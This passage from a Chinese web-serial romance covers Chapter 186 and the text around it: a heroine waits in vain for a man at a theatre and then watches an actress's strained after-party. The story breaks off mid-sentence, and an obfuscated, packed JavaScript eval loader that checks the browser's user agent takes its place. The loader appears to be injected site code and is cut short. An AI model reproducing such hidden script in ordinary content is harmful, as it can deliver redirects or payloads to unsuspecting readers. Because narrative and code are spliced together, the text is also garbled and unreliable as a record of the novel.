池鸢回到座位,打开电脑继续处理工作,可盛明栩匆匆离去的模样却在她脑海中挥之不去。她鬼使神差地打开手机,翻到两人的聊天界面,犹豫再三:什么时候去你家试玩。 等了许久,没人回复。 接下来的日子,整个公司都陷入了忙碌的氛围。池鸢除了完成手头的工作,还要和团队成员一起讨论考察的计划,研究当地市场。偶尔空闲下来,她还是会不自觉地查看手机,期待着盛明栩的消息。 有过了几天,暮色将天边染成暧昧的藕荷色时,池鸢攥着入场券在剧院外的梧桐树下等盛明栩。 风卷起她鬓边碎发,池鸢望着空荡荡的路口怔了片刻,才踩着细高跟往场馆走去。 与上次相比,剧院外墙新挂上了冯宛巨幅海报,霓虹灯带将沉浸式戏剧专场几个字映得流光溢彩。检票口处挤着举着灯牌的粉丝,此起彼伏的尖叫混着保安的劝阻声,连台阶旁的灌木丛都被挤得东倒西歪。 穿过喧闹的人群,池鸢在后台入口被拦住了。 西装革履的男人递来烫金名片,腕间百达翡丽折射出冷光:我是冯宛未婚夫,她特意让我来接您。对方微笑时露出整齐的白牙,却让池鸢想起上次演出后台,那个抱着吉他的男生局促地给冯宛剥橘子的模样。 记忆里男生洗得发白的牛仔裤,和眼前男人锃亮的鳄鱼皮鞋在光影里重叠又分离。 池鸢跟着未婚夫穿过缀满水晶灯的长廊。 转角处传来舞台幕布升降的嗡鸣,她抬头望向尽头透出微光的侧门,隐约听见观众席爆发的掌声,像是涨潮时漫过礁石的海浪。 第186章 气 聚光灯渐次熄灭的后台,空气里还浮动着脂粉与松香混杂的气息。 池鸢刚准备离开,便听见身后传来细高跟叩击地面的声响。 冯宛裹着貂绒披肩倚在门框,猩红甲油点着手机屏幕:今晚的庆功宴,你一起来? 水晶吊灯将三楼会场切割成细碎的光斑,旋转楼梯垂落的缎带缠绕着香槟塔。 池鸢攥着骨瓷餐盘站在法式长窗前,远处CBD的霓虹穿透雕花玻璃,在她腕间折射出冷冽的光。 自助餐台上龙虾泛着琥珀色油光,芝士焗生蚝蒸腾的热气却暖不透空荡的座椅。 “盛总最近在海外项目?”冯宛端着冰酒款步而来,耳垂上的南洋珍珠晃碎一池光影。 她用银匙将鱼子酱抹在面包上,指尖的钻石戒指与餐具碰撞出清响,前阵子还见他亲自来探班呢。 池鸢搅动着冰美式,看方糖在漩涡里慢慢沉没。 落地窗外突然掠过直升机的探照灯,在宴会厅穹顶投下转瞬即逝的阴影。 她望着自己映在玻璃窗上的倒影,恍惚想起三小时前谢幕时,观众席第七排那个本该坐着盛明栩的空位。 冯宛指尖摩挲着香槟杯壁,凝着池鸢的目光像裹着蜜的刺:我还以为你们很熟。 冰块在酒液里沉浮,折射出她眼尾若有似无的笑意。 很熟吗?池鸢垂眸搅动吸管,美式咖啡泛起细密涟漪。 中央空调送来的风掠过锁骨,冯宛突然想起某次深夜对戏,盛明栩替她裹紧戏服时掌心的温度。那些并肩研读剧本的晨昏,此刻都碎成杯底沉淀的苦涩。 水晶吊灯突然暗了一瞬,应急灯的幽绿里,冯宛的笑容变得诡谲。 望着窗外暴雨冲刷的霓虹,突然意识到命运早就在某个分岔路口按下暂停键——当盛明栩西装口袋里的机票露出来时,当她撕碎那份海外演出邀约时,两条本该缠绕的轨迹,早已朝着相反的银河奔涌而去。 水晶杯沿沾着冯宛艳红的唇印,她仰头饮尽香槟时,喉结在天鹅颈下轻轻滚动。 微醺的笑意还挂在眼角,突然被酸涩呛得眼眶发红。 池鸢看着她跌进未婚夫敞开的怀抱,男人掌心温柔地覆上她后颈,西装袖口滑落的婚戒在灯光下泛着冷光。 宴会厅穹顶的烛火明明灭灭,池鸢攥紧手包,指甲在软皮上掐出月牙形凹痕。 香槟塔折射的光斑落在她睫毛上,恍惚间竟与傅渊书房里摇晃的烛影重叠。那些深夜里的长谈,他俯身替她披衣时发梢掠过她耳畔的触感,此刻都化作心口细密的疼。 十点的钟声穿透人声鼎沸,冯宛握着话筒的指节发白。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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